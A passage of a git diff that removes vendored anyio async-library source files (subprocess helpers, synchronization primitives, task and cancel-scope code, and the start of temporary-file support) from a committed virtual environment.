pass_fds: sequence of file descriptors to keep open between the parent and - child processes. (POSIX only) - :param user: effective user to run the process as (Python >= 3.9, POSIX only) - :param group: effective group to run the process as (Python >= 3.9, POSIX only) - :param extra_groups: supplementary groups to set in the subprocess (Python >= 3.9, - POSIX only) - :param umask: if not negative, this umask is applied in the child process before - running the given command (Python >= 3.9, POSIX only) - :return: an object representing the completed process - :raises ~subprocess.CalledProcessError: if ``check`` is ``True`` and the process - exits with a nonzero return code - - """ - - async def drain_stream(stream: AsyncIterable[bytes], index: int) -> None: - buffer = BytesIO() - async for chunk in stream: - buffer.write(chunk) - - stream_contents[index] = buffer.getvalue() - - if stdin is not None and input is not None: - raise ValueError("only one of stdin and input is allowed") - - async with await open_process( - command, - stdin=PIPE if input else stdin, - stdout=stdout, - stderr=stderr, - cwd=cwd, - env=env, - startupinfo=startupinfo, - creationflags=creationflags, - start_new_session=start_new_session, - pass_fds=pass_fds, - user=user, - group=group, - extra_groups=extra_groups, - umask=umask, - ) as process: - stream_contents: list[bytes | None] = [None, None] - async with create_task_group() as tg: - if process.stdout: - tg.start_soon(drain_stream, process.stdout, 0) - - if process.stderr: - tg.start_soon(drain_stream, process.stderr, 1) - - if process.stdin and input: - await process.stdin.send(input) - await process.stdin.aclose() - - await process.wait() - - output, errors = stream_contents - if check and process.returncode != 0: - raise CalledProcessError(cast(int, process.returncode), command, output, errors) - - return CompletedProcess(command, cast(int, process.returncode), output, errors) - - -async def open_process( - command: StrOrBytesPath | Sequence[StrOrBytesPath], - *, - stdin: int | IO[Any] | None = PIPE, - stdout: int | IO[Any] | None = PIPE, - stderr: int | IO[Any] | None = PIPE, - cwd: StrOrBytesPath | None = None, - env: Mapping[str, str] | None = None, - startupinfo: Any = None, - creationflags: int = 0, - start_new_session: bool = False, - pass_fds: Sequence[int] = (), - user: str | int | None = None, - group: str | int | None = None, - extra_groups: Iterable[str | int] | None = None, - umask: int = -1, -) -> Process: - """ - Start an external command in a subprocess. - - .. seealso:: :class:`subprocess.Popen` - - :param command: either a string to pass to the shell, or an iterable of strings - containing the executable name or path and its arguments - :param stdin: one of :data:`subprocess.PIPE`, :data:`subprocess.DEVNULL`, a - file-like object, or ``None`` - :param stdout: one of :data:`subprocess.PIPE`, :data:`subprocess.DEVNULL`, - a file-like object, or ``None`` - :param stderr: one of :data:`subprocess.PIPE`, :data:`subprocess.DEVNULL`, - :data:`subprocess.STDOUT`, a file-like object, or ``None`` - :param cwd: If not ``None``, the working directory is changed before executing - :param env: If env is not ``None``, it must be a mapping that defines the - environment variables for the new process - :param creationflags: flags that can be used to control the creation of the - subprocess (see :class:`subprocess.Popen` for the specifics) - :param startupinfo: an instance of :class:`subprocess.STARTUPINFO` that can be used - to specify process startup parameters (Windows only) - :param start_new_session: if ``true`` the setsid() system call will be made in the - child process prior to the execution of the subprocess. (POSIX only) - :param pass_fds: sequence of file descriptors to keep open between the parent and - child processes. (POSIX only) - :param user: effective user to run the process as (POSIX only) - :param group: effective group to run the process as (POSIX only) - :param extra_groups: supplementary groups to set in the subprocess (POSIX only) - :param umask: if not negative, this umask is applied in the child process before - running the given command (POSIX only) - :return: an asynchronous process object - - """ - kwargs: dict[str, Any] = {} - if user is not None: - kwargs["user"] = user - - if group is not None: - kwargs["group"] = group - - if extra_groups is not None: - kwargs["extra_groups"] = extra_groups - - if umask >= 0: - kwargs["umask"] = umask - - return await get_async_backend().open_process( - command, - stdin=stdin, - stdout=stdout, - stderr=stderr, - cwd=cwd, - env=env, - startupinfo=startupinfo, - creationflags=creationflags, - start_new_session=start_new_session, - pass_fds=pass_fds, - **kwargs, - ) diff --git a/venv/Lib/site-packages/anyio/_core/_synchronization.py b/venv/Lib/site-packages/anyio/_core/_synchronization.py deleted file mode 100644 index f1990a5003a6b99cbcb3c72ae8fb01e6e299a9aa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_synchronization.py +++ /dev/null @@ -1,772 +0,0 @@ -from __future__ import annotations - -import math -from collections import deque -from collections.abc import Callable -from dataclasses import dataclass -from types import TracebackType -from typing import TypeVar - -from ..lowlevel import checkpoint_if_cancelled -from ._eventloop import get_async_backend -from ._exceptions import BusyResourceError, NoEventLoopError -from ._tasks import CancelScope -from ._testing import TaskInfo, get_current_task - -T = TypeVar("T") - - -@dataclass(frozen=True) -class EventStatistics: - """ - :ivar int tasks_waiting: number of tasks waiting on :meth:`~.Event.wait` - """ - - tasks_waiting: int - - -@dataclass(frozen=True) -class CapacityLimiterStatistics: - """ - :ivar int borrowed_tokens: number of tokens currently borrowed by tasks - :ivar float total_tokens: total number of available tokens - :ivar tuple borrowers: tasks or other objects currently holding tokens borrowed from - this limiter - :ivar int tasks_waiting: number of tasks waiting on - :meth:`~.CapacityLimiter.acquire` or - :meth:`~.CapacityLimiter.acquire_on_behalf_of` - """ - - borrowed_tokens: int - total_tokens: float - borrowers: tuple[object, ...] - tasks_waiting: int - - -@dataclass(frozen=True) -class LockStatistics: - """ - :ivar bool locked: flag indicating if this lock is locked or not - :ivar ~anyio.TaskInfo owner: task currently holding the lock (or ``None`` if the - lock is not held by any task) - :ivar int tasks_waiting: number of tasks waiting on :meth:`~.Lock.acquire` - """ - - locked: bool - owner: TaskInfo | None - tasks_waiting: int - - -@dataclass(frozen=True) -class ConditionStatistics: - """ - :ivar int tasks_waiting: number of tasks blocked on :meth:`~.Condition.wait` - :ivar ~anyio.LockStatistics lock_statistics: statistics of the underlying - :class:`~.Lock` - """ - - tasks_waiting: int - lock_statistics: LockStatistics - - -@dataclass(frozen=True) -class SemaphoreStatistics: - """ - :ivar int tasks_waiting: number of tasks waiting on :meth:`~.Semaphore.acquire` - - """ - - tasks_waiting: int - - -class Event: - __slots__ = ("__weakref__",) - - def __new__(cls) -> Event: - try: - return get_async_backend().create_event() - except NoEventLoopError: - return EventAdapter() - - def set(self) -> None: - """Set the flag, notifying all listeners.""" - raise NotImplementedError - - def is_set(self) -> bool: - """Return ``True`` if the flag is set, ``False`` if not.""" - raise NotImplementedError - - async def wait(self) -> None: - """ - Wait until the flag has been set. - - If the flag has already been set when this method is called, it returns - immediately. - - """ - raise NotImplementedError - - def statistics(self) -> EventStatistics: - """Return statistics about the current state of this event.""" - raise NotImplementedError - - -class EventAdapter(Event): - __slots__ = "_internal_event", "_is_set" - - def __new__(cls) -> EventAdapter: - return object.__new__(cls) - - def __init__(self) -> None: - self._internal_event: Event | None = None - self._is_set = False - - @property - def _event(self) -> Event: - if self._internal_event is None: - self._internal_event = get_async_backend().create_event() - if self._is_set: - self._internal_event.set() - - return self._internal_event - - def set(self) -> None: - if self._internal_event is None: - self._is_set = True - else: - self._event.set() - - def is_set(self) -> bool: - if self._internal_event is None: - return self._is_set - - return self._internal_event.is_set() - - async def wait(self) -> None: - await self._event.wait() - - def statistics(self) -> EventStatistics: - if self._internal_event is None: - return EventStatistics(tasks_waiting=0) - - return self._internal_event.statistics() - - -class Lock: - __slots__ = ("__weakref__",) - - def __new__(cls, *, fast_acquire: bool = False) -> Lock: - try: - return get_async_backend().create_lock(fast_acquire=fast_acquire) - except NoEventLoopError: - return LockAdapter(fast_acquire=fast_acquire) - - async def __aenter__(self) -> None: - await self.acquire() - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self.release() - - async def acquire(self) -> None: - """Acquire the lock.""" - raise NotImplementedError - - def acquire_nowait(self) -> None: - """ - Acquire the lock, without blocking. - - :raises ~anyio.WouldBlock: if the operation would block - - """ - raise NotImplementedError - - def release(self) -> None: - """Release the lock.""" - raise NotImplementedError - - def locked(self) -> bool: - """Return True if the lock is currently held.""" - raise NotImplementedError - - def statistics(self) -> LockStatistics: - """ - Return statistics about the current state of this lock. - - .. versionadded:: 3.0 - """ - raise NotImplementedError - - -class LockAdapter(Lock): - __slots__ = "_internal_lock", "_fast_acquire" - - def __new__(cls, *, fast_acquire: bool = False) -> LockAdapter: - return object.__new__(cls) - - def __init__(self, *, fast_acquire: bool = False): - self._internal_lock: Lock | None = None - self._fast_acquire = fast_acquire - - @property - def _lock(self) -> Lock: - if self._internal_lock is None: - self._internal_lock = get_async_backend().create_lock( - fast_acquire=self._fast_acquire - ) - - return self._internal_lock - - async def __aenter__(self) -> None: - await self._lock.acquire() - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - if self._internal_lock is not None: - self._internal_lock.release() - - async def acquire(self) -> None: - """Acquire the lock.""" - await self._lock.acquire() - - def acquire_nowait(self) -> None: - """ - Acquire the lock, without blocking. - - :raises ~anyio.WouldBlock: if the operation would block - - """ - self._lock.acquire_nowait() - - def release(self) -> None: - """Release the lock.""" - self._lock.release() - - def locked(self) -> bool: - """Return True if the lock is currently held.""" - return self._lock.locked() - - def statistics(self) -> LockStatistics: - """ - Return statistics about the current state of this lock. - - .. versionadded:: 3.0 - - """ - if self._internal_lock is None: - return LockStatistics(False, None, 0) - - return self._internal_lock.statistics() - - -class Condition: - __slots__ = "__weakref__", "_owner_task", "_lock", "_waiters" - - def __init__(self, lock: Lock | None = None): - self._owner_task: TaskInfo | None = None - self._lock = lock or Lock() - self._waiters: deque[Event] = deque() - - async def __aenter__(self) -> None: - await self.acquire() - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self.release() - - def _check_acquired(self) -> None: - if self._owner_task != get_current_task(): - raise RuntimeError("The current task is not holding the underlying lock") - - async def acquire(self) -> None: - """Acquire the underlying lock.""" - await self._lock.acquire() - self._owner_task = get_current_task() - - def acquire_nowait(self) -> None: - """ - Acquire the underlying lock, without blocking. - - :raises ~anyio.WouldBlock: if the operation would block - - """ - self._lock.acquire_nowait() - self._owner_task = get_current_task() - - def release(self) -> None: - """Release the underlying lock.""" - self._lock.release() - - def locked(self) -> bool: - """Return True if the lock is set.""" - return self._lock.locked() - - def notify(self, n: int = 1) -> None: - """Notify exactly n listeners.""" - self._check_acquired() - for _ in range(n): - try: - event = self._waiters.popleft() - except IndexError: - break - - event.set() - - def notify_all(self) -> None: - """Notify all the listeners.""" - self._check_acquired() - for event in self._waiters: - event.set() - - self._waiters.clear() - - async def wait(self) -> None: - """Wait for a notification.""" - await checkpoint_if_cancelled() - self._check_acquired() - event = Event() - self._waiters.append(event) - self.release() - try: - await event.wait() - except BaseException: - if not event.is_set(): - self._waiters.remove(event) - elif self._waiters: - # This task was notified by could not act on it, so pass - # it on to the next task - self._waiters.popleft().set() - - raise - finally: - with CancelScope(shield=True): - await self.acquire() - - async def wait_for(self, predicate: Callable[[], T]) -> T: - """ - Wait until a predicate becomes true. - - :param predicate: a callable that returns a truthy value when the condition is - met - :return: the result of the predicate - - .. versionadded:: 4.11.0 - - """ - while not (result := predicate()): - await self.wait() - - return result - - def statistics(self) -> ConditionStatistics: - """ - Return statistics about the current state of this condition. - - .. versionadded:: 3.0 - """ - return ConditionStatistics(len(self._waiters), self._lock.statistics()) - - -class Semaphore: - __slots__ = "__weakref__", "_fast_acquire" - - def __new__( - cls, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ) -> Semaphore: - try: - return get_async_backend().create_semaphore( - initial_value, max_value=max_value, fast_acquire=fast_acquire - ) - except NoEventLoopError: - return SemaphoreAdapter(initial_value, max_value=max_value) - - def __init__( - self, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ): - if not isinstance(initial_value, int): - raise TypeError("initial_value must be an integer") - if initial_value < 0: - raise ValueError("initial_value must be >= 0") - if max_value is not None: - if not isinstance(max_value, int): - raise TypeError("max_value must be an integer or None") - if max_value < initial_value: - raise ValueError( - "max_value must be equal to or higher than initial_value" - ) - - self._fast_acquire = fast_acquire - - async def __aenter__(self) -> Semaphore: - await self.acquire() - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self.release() - - async def acquire(self) -> None: - """Decrement the semaphore value, blocking if necessary.""" - raise NotImplementedError - - def acquire_nowait(self) -> None: - """ - Acquire the underlying lock, without blocking. - - :raises ~anyio.WouldBlock: if the operation would block - - """ - raise NotImplementedError - - def release(self) -> None: - """Increment the semaphore value.""" - raise NotImplementedError - - @property - def value(self) -> int: - """The current value of the semaphore.""" - raise NotImplementedError - - @property - def max_value(self) -> int | None: - """The maximum value of the semaphore.""" - raise NotImplementedError - - def statistics(self) -> SemaphoreStatistics: - """ - Return statistics about the current state of this semaphore. - - .. versionadded:: 3.0 - """ - raise NotImplementedError - - -class SemaphoreAdapter(Semaphore): - __slots__ = "_internal_semaphore", "_initial_value", "_max_value" - - def __new__( - cls, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ) -> SemaphoreAdapter: - return object.__new__(cls) - - def __init__( - self, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ) -> None: - super().__init__(initial_value, max_value=max_value, fast_acquire=fast_acquire) - self._internal_semaphore: Semaphore | None = None - self._initial_value = initial_value - self._max_value = max_value - - @property - def _semaphore(self) -> Semaphore: - if self._internal_semaphore is None: - self._internal_semaphore = get_async_backend().create_semaphore( - self._initial_value, max_value=self._max_value - ) - - return self._internal_semaphore - - async def acquire(self) -> None: - await self._semaphore.acquire() - - def acquire_nowait(self) -> None: - self._semaphore.acquire_nowait() - - def release(self) -> None: - self._semaphore.release() - - @property - def value(self) -> int: - if self._internal_semaphore is None: - return self._initial_value - - return self._semaphore.value - - @property - def max_value(self) -> int | None: - return self._max_value - - def statistics(self) -> SemaphoreStatistics: - if self._internal_semaphore is None: - return SemaphoreStatistics(tasks_waiting=0) - - return self._semaphore.statistics() - - -class CapacityLimiter: - __slots__ = ("__weakref__",) - - def __new__(cls, total_tokens: float) -> CapacityLimiter: - try: - return get_async_backend().create_capacity_limiter(total_tokens) - except NoEventLoopError: - return CapacityLimiterAdapter(total_tokens) - - async def __aenter__(self) -> None: - raise NotImplementedError - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - raise NotImplementedError - - @property - def total_tokens(self) -> float: - """ - The total number of tokens available for borrowing. - - This is a read-write property. If the total number of tokens is increased, the - proportionate number of tasks waiting on this limiter will be granted their - tokens. - - .. versionchanged:: 3.0 - The property is now writable. - .. versionchanged:: 4.12 - The value can now be set to 0. - - """ - raise NotImplementedError - - @total_tokens.setter - def total_tokens(self, value: float) -> None: - raise NotImplementedError - - @property - def borrowed_tokens(self) -> int: - """The number of tokens that have currently been borrowed.""" - raise NotImplementedError - - @property - def available_tokens(self) -> float: - """The number of tokens currently available to be borrowed""" - raise NotImplementedError - - def acquire_nowait(self) -> None: - """ - Acquire a token for the current task without waiting for one to become - available. - - :raises ~anyio.WouldBlock: if there are no tokens available for borrowing - - """ - raise NotImplementedError - - def acquire_on_behalf_of_nowait(self, borrower: object) -> None: - """ - Acquire a token without waiting for one to become available. - - :param borrower: the entity borrowing a token - :raises ~anyio.WouldBlock: if there are no tokens available for borrowing - - """ - raise NotImplementedError - - async def acquire(self) -> None: - """ - Acquire a token for the current task, waiting if necessary for one to become - available. - - """ - raise NotImplementedError - - async def acquire_on_behalf_of(self, borrower: object) -> None: - """ - Acquire a token, waiting if necessary for one to become available. - - :param borrower: the entity borrowing a token - - """ - raise NotImplementedError - - def release(self) -> None: - """ - Release the token held by the current task. - - :raises RuntimeError: if the current task has not borrowed a token from this - limiter. - - """ - raise NotImplementedError - - def release_on_behalf_of(self, borrower: object) -> None: - """ - Release the token held by the given borrower. - - :raises RuntimeError: if the borrower has not borrowed a token from this - limiter. - - """ - raise NotImplementedError - - def statistics(self) -> CapacityLimiterStatistics: - """ - Return statistics about the current state of this limiter. - - .. versionadded:: 3.0 - - """ - raise NotImplementedError - - -class CapacityLimiterAdapter(CapacityLimiter): - __slots__ = "_internal_limiter", "_total_tokens" - - def __new__(cls, total_tokens: float) -> CapacityLimiterAdapter: - return object.__new__(cls) - - def __init__(self, total_tokens: float) -> None: - self._internal_limiter: CapacityLimiter | None = None - self.total_tokens = total_tokens - - @property - def _limiter(self) -> CapacityLimiter: - if self._internal_limiter is None: - self._internal_limiter = get_async_backend().create_capacity_limiter( - self._total_tokens - ) - - return self._internal_limiter - - async def __aenter__(self) -> None: - await self._limiter.__aenter__() - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - return await self._limiter.__aexit__(exc_type, exc_val, exc_tb) - - @property - def total_tokens(self) -> float: - if self._internal_limiter is None: - return self._total_tokens - - return self._internal_limiter.total_tokens - - @total_tokens.setter - def total_tokens(self, value: float) -> None: - if not isinstance(value, int) and not math.isinf(value): - raise TypeError("total_tokens must be an int or math.inf") - elif value < 0: - raise ValueError("total_tokens must be >= 0") - - if self._internal_limiter is None: - self._total_tokens = value - return - - self._limiter.total_tokens = value - - @property - def borrowed_tokens(self) -> int: - if self._internal_limiter is None: - return 0 - - return self._internal_limiter.borrowed_tokens - - @property - def available_tokens(self) -> float: - if self._internal_limiter is None: - return self._total_tokens - - return self._internal_limiter.available_tokens - - def acquire_nowait(self) -> None: - self._limiter.acquire_nowait() - - def acquire_on_behalf_of_nowait(self, borrower: object) -> None: - self._limiter.acquire_on_behalf_of_nowait(borrower) - - async def acquire(self) -> None: - await self._limiter.acquire() - - async def acquire_on_behalf_of(self, borrower: object) -> None: - await self._limiter.acquire_on_behalf_of(borrower) - - def release(self) -> None: - self._limiter.release() - - def release_on_behalf_of(self, borrower: object) -> None: - self._limiter.release_on_behalf_of(borrower) - - def statistics(self) -> CapacityLimiterStatistics: - if self._internal_limiter is None: - return CapacityLimiterStatistics( - borrowed_tokens=0, - total_tokens=self.total_tokens, - borrowers=(), - tasks_waiting=0, - ) - - return self._internal_limiter.statistics() - - -class ResourceGuard: - """ - A context manager for ensuring that a resource is only used by a single task at a - time. - - Entering this context manager while the previous has not exited it yet will trigger - :exc:`BusyResourceError`. - - :param action: the action to guard against (visible in the :exc:`BusyResourceError` - when triggered, e.g. "Another task is already {action} this resource") - - .. versionadded:: 4.1 - """ - - __slots__ = "__weakref__", "action", "_guarded" - - def __init__(self, action: str = "using"): - self.action: str = action - self._guarded = False - - def __enter__(self) -> None: - if self._guarded: - raise BusyResourceError(self.action) - - self._guarded = True - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self._guarded = False diff --git a/venv/Lib/site-packages/anyio/_core/_tasks.py b/venv/Lib/site-packages/anyio/_core/_tasks.py deleted file mode 100644 index ced54b2e20f7dea2f238600a1a5833fe0d64d70d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_tasks.py +++ /dev/null @@ -1,412 +0,0 @@ -from __future__ import annotations - -import math -import sys -from collections.abc import ( - Coroutine, - Generator, -) -from contextlib import ( - contextmanager, -) -from enum import Enum, auto -from inspect import iscoroutine -from types import TracebackType -from typing import Any, Generic, final - -from ..abc import TaskGroup, TaskStatus -from ._eventloop import get_async_backend, get_cancelled_exc_class -from ._exceptions import TaskCancelled, TaskFailed, TaskNotFinished - -if sys.version_info >= (3, 13): - from typing import TypeVar -else: - from typing_extensions import TypeVar - -if sys.version_info >= (3, 11): - from typing import Never, TypeVarTuple -else: - from typing_extensions import Never, TypeVarTuple - -T = TypeVar("T") -T_co = TypeVar("T_co", covariant=True) -T_startval = TypeVar("T_startval", covariant=True, default=Never) -PosArgsT = TypeVarTuple("PosArgsT") - - -class _IgnoredTaskStatus(TaskStatus[object]): - def started(self, value: object = None) -> None: - pass - - -TASK_STATUS_IGNORED = _IgnoredTaskStatus() - - -class CancelScope: - """ - Wraps a unit of work that can be made separately cancellable. - - :param deadline: The time (clock value) when this scope is cancelled automatically - :param shield: ``True`` to shield the cancel scope from external cancellation - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - """ - - __slots__ = ("__weakref__",) - - def __new__( - cls, *, deadline: float = math.inf, shield: bool = False - ) -> CancelScope: - return get_async_backend().create_cancel_scope(shield=shield, deadline=deadline) - - def cancel(self, reason: str | None = None) -> None: - """ - Cancel this scope immediately. - - :param reason: a message describing the reason for the cancellation - - """ - raise NotImplementedError - - @property - def deadline(self) -> float: - """ - The time (clock value) when this scope is cancelled automatically. - - Will be ``float('inf')`` if no timeout has been set. - - """ - raise NotImplementedError - - @deadline.setter - def deadline(self, value: float) -> None: - raise NotImplementedError - - @property - def cancel_called(self) -> bool: - """``True`` if :meth:`cancel` has been called.""" - raise NotImplementedError - - @property - def cancelled_caught(self) -> bool: - """ - ``True`` if this scope suppressed a cancellation exception it itself raised. - - This is typically used to check if any work was interrupted, or to see if the - scope was cancelled due to its deadline being reached. The value will, however, - only be ``True`` if the cancellation was triggered by the scope itself (and not - an outer scope). - - """ - raise NotImplementedError - - @property - def shield(self) -> bool: - """ - ``True`` if this scope is shielded from external cancellation. - - While a scope is shielded, it will not receive cancellations from outside. - - """ - raise NotImplementedError - - @shield.setter - def shield(self, value: bool) -> None: - raise NotImplementedError - - def __enter__(self) -> CancelScope: - raise NotImplementedError - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool: - raise NotImplementedError - - -@contextmanager -def fail_after( - delay: float | None, shield: bool = False -) -> Generator[CancelScope, None, None]: - """ - Create a context manager which raises a :class:`TimeoutError` if does not finish in - time. - - :param delay: maximum allowed time (in seconds) before raising the exception, or - ``None`` to disable the timeout - :param shield: ``True`` to shield the cancel scope from external cancellation - :return: a context manager that yields a cancel scope - :rtype: :class:`~typing.ContextManager`\\[:class:`~anyio.CancelScope`\\] - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - current_time = get_async_backend().current_time - deadline = (current_time() + delay) if delay is not None else math.inf - with get_async_backend().create_cancel_scope( - deadline=deadline, shield=shield - ) as cancel_scope: - yield cancel_scope - - if cancel_scope.cancelled_caught and current_time() >= cancel_scope.deadline: - raise TimeoutError - - -def move_on_after(delay: float | None, shield: bool = False) -> CancelScope: - """ - Create a cancel scope with a deadline that expires after the given delay. - - :param delay: maximum allowed time (in seconds) before exiting the context block, or - ``None`` to disable the timeout - :param shield: ``True`` to shield the cancel scope from external cancellation - :return: a cancel scope - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - deadline = ( - (get_async_backend().current_time() + delay) if delay is not None else math.inf - ) - return get_async_backend().create_cancel_scope(deadline=deadline, shield=shield) - - -def current_effective_deadline() -> float: - """ - Return the nearest deadline among all the cancel scopes effective for the current - task. - - :return: a clock value from the event loop's internal clock (or ``float('inf')`` if - there is no deadline in effect, or ``float('-inf')`` if the current scope has - been cancelled) - :rtype: float - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return get_async_backend().current_effective_deadline() - - -def create_task_group() -> TaskGroup: - """ - Create a task group. - - :return: a task group - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return get_async_backend().create_task_group() - - -@final -class TaskHandle(Generic[T_co, T_startval]): - """ - Returned from the task-spawning methods of :class:`TaskGroup`. Can be awaited on to - get the return value of the task (or the raised exception). If the task was - terminated by a :exc:`BaseException`, :exc:`TaskFailed` will be raised (or its - subclass :exc:`TaskCancelled` if the task was cancelled). - - .. versionadded:: 4.14.0 - """ - - class Status(Enum): - """ - The status of a task handle. - - .. attribute:: PENDING - - The task has not finished yet. - .. attribute:: FINISHED - - The task has finished with a return value. - .. attribute:: CANCELLING - - The task has been cancelled but has not finished yet. - .. attribute:: CANCELLED - - The task was cancelled and has finished since. - .. attribute:: FAILED - - The task raised an exception. - """ - - PENDING = auto() - FINISHED = auto() - CANCELLING = auto() - CANCELLED = auto() - FAILED = auto() - - __slots__ = ( - "__weakref__", - "_coro", - "_name", - "_cancel_scope", - "_finished_event", - "_return_value", - "_start_value", - "_exception", - ) - - _return_value: T_co - _start_value: T_startval - - def __init__(self, coro: Coroutine[Any, Any, T_co], name: object) -> None: - from ._synchronization import Event - - self._coro = coro - self._cancel_scope = CancelScope() - self._finished_event = Event() - self._exception: BaseException | None = None - - if name is not None: - self._name = str(name) - elif iscoroutine(coro): - self._name = coro.__qualname__ - else: - self._name = str(coro) # coroutine-like object (e.g. asend() objects) - - async def _run_coro(self) -> None: - __tracebackhide__ = True - - with self._cancel_scope: - try: - retval = await self._coro - except BaseException as exc: - self._exception = exc - raise - else: - self._return_value = retval - finally: - self._finished_event.set() - del self # Break the reference cycle - - def cancel(self) -> None: - """ - Set the task to a cancelled state. - - This will interrupt any interruptible asynchronous operation, and will cause - any further awaits on this task to get immediately cancelled, unless done in - a shielded cancel scope. - - If the task has already finished, this method has no effect. - """ - if not self._finished_event.is_set(): - self._cancel_scope.cancel() - - @property - def coro(self) -> Coroutine[Any, Any, T_co]: - """ - The coroutine object that was passed to one of the task-spawning methods in - :class:`TaskGroup`. - """ - return self._coro - - @property - def status(self) -> TaskHandle.Status: - """ - The current status of the task. - - Every task starts in the :attr:`~TaskHandle.Status.PENDING` state. - If a task is cancelled while in this state, it will transition to the - :attr:`~TaskHandle.Status.CANCELLING` state. When the task finishes, it will - transition to one of the three final states ( - :attr:`~TaskHandle.Status.FINISHED`, :attr:`~TaskHandle.Status.FAILED`, or - :attr:`~TaskHandle.Status.CANCELLING`) depending on the exception the task - raised, if any. No other status transitions will happen. - """ - if not self._finished_event.is_set(): - if self._cancel_scope.cancel_called: - return TaskHandle.Status.CANCELLING - else: - return TaskHandle.Status.PENDING - elif self._exception is not None: - if isinstance(self._exception, get_cancelled_exc_class()): - return TaskHandle.Status.CANCELLED - else: - return TaskHandle.Status.FAILED - else: - return TaskHandle.Status.FINISHED - - @property - def name(self) -> str: - """The name of the task.""" - return self._name - - @property - def exception(self) -> BaseException | None: - """ - The exception raised by the task, or ``None`` if it finished without raising. - - :raises TaskNotFinished: if the task has not finished yet - :raises TaskCancelled: if the task was cancelled - - """ - match self.status: - case TaskHandle.Status.PENDING: - raise TaskNotFinished("the task has not finished yet") - case TaskHandle.Status.FINISHED: - return None - case TaskHandle.Status.CANCELLING: - raise TaskCancelled("the task was cancelled") - case TaskHandle.Status.CANCELLED: - raise TaskCancelled("the task was cancelled") from self._exception - case TaskHandle.Status.FAILED: - return self._exception - - @property - def return_value(self) -> T_co: - """ - The return value of the task. - - :raises TaskNotFinished: if the task has not finished yet - :raises TaskCancelled: if the task was cancelled - :raises TaskFailed: if the task raised an exception - - """ - match self.status: - case TaskHandle.Status.PENDING: - raise TaskNotFinished("the task has not finished yet") - case TaskHandle.Status.FINISHED: - return self._return_value - case TaskHandle.Status.CANCELLING: - raise TaskCancelled("the task was cancelled") - case TaskHandle.Status.CANCELLED: - raise TaskCancelled("the task was cancelled") from self._exception - case TaskHandle.Status.FAILED: - raise TaskFailed("the task raised an exception") from self._exception - - @property - def start_value(self) -> T_startval: - """ - The value passed to :meth:`task_status.started() <.abc.TaskStatus.started>`, - - :raises RuntimeError: if the task was not started with :meth:`TaskGroup.start() - <.abc.TaskGroup.start>` - """ - try: - return self._start_value - except AttributeError: - raise RuntimeError( - "the task was not started with TaskGroup.start()" - ) from None - - async def wait(self) -> None: - """ - Wait for the task to finish. - - This method will return as soon as the task has finished, no matter how it - happened. - """ - await self._finished_event.wait() - - def __await__(self) -> Generator[Any, Any, T_co]: - yield from self._finished_event.wait().__await__() - return self.return_value - - def __repr__(self) -> str: - return ( - f"<{self.__class__.__name__} {self.status.name.lower()} " - f"name={self._name!r} coro={self._coro!r}>" - ) diff --git a/venv/Lib/site-packages/anyio/_core/_tempfile.py b/venv/Lib/site-packages/anyio/_core/_tempfile.py deleted file mode 100644 index 75a09f793744b8e60375ce2efab98307d077bc21..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_tempfile.py +++ /dev/null @@ -1,613 +0,0 @@ -from __future__ import annotations - -import os -import sys -import tempfile -from collections.abc import Iterable -from io import BytesIO, TextIOWrapper -from types import TracebackType -from typing import ( - TYPE_CHECKING, - Any, - AnyStr, - Generic, - overload, -) - -from .. import to_thread -from .._core._fileio import AsyncFile -from ..lowlevel import checkpoint_if_cancelled - -if TYPE_CHECKING: - from _typeshed import OpenBinaryMode, OpenTextMode, ReadableBuffer, WriteableBuffer - - -class TemporaryFile(Generic[AnyStr]): - """ - An asynchronous temporary file that is automatically created and cleaned up. - - This class provides an asynchronous context manager interface to a temporary file. - The file is created using Python's standard `tempfile.TemporaryFile` function in a - background thread, and is wrapped as an asynchronous file using `AsyncFile`. - - :param mode: The mode in which the file is opened. Defaults to "w+b". - :param buffering: The buffering policy (-1 means the default buffering). - :param encoding: The encoding used to decode or encode the file. Only applicable in - text mode. - :param newline: Controls how universal newlines mode works (only applicable in text - mode). - :param suffix: The suffix for the temporary file name. - :param prefix: The prefix for the temporary file name. - :param dir: The directory in which the temporary file is created. - :param errors: The error handling scheme used for encoding/decoding errors. - """ - - _async_file: AsyncFile[AnyStr] - - @overload - def __init__( - self: TemporaryFile[bytes], - mode: OpenBinaryMode = ..., - buffering: int = ..., - encoding: str | None = ..., - newline: str | None = ..., - suffix: str | None = ..., - prefix: str | None = ..., - dir: str | None = ..., - *, - errors: str | None = ..., - ): ... - @overload - def __init__( - self: TemporaryFile[str], - mode: OpenTextMode, - buffering: int = ..., - encoding: str | None = ..., - newline: str | None = ..., - suffix: str | None = ..., - prefix: str | None = ..., - dir: str | None = ..., - *, - errors: str | None = ..., - ): ... - - def __init__( - self, - mode: OpenTextMode | OpenBinaryMode = "w+b", - buffering: int = -1, - encoding: str | None = None, - newline: str | None 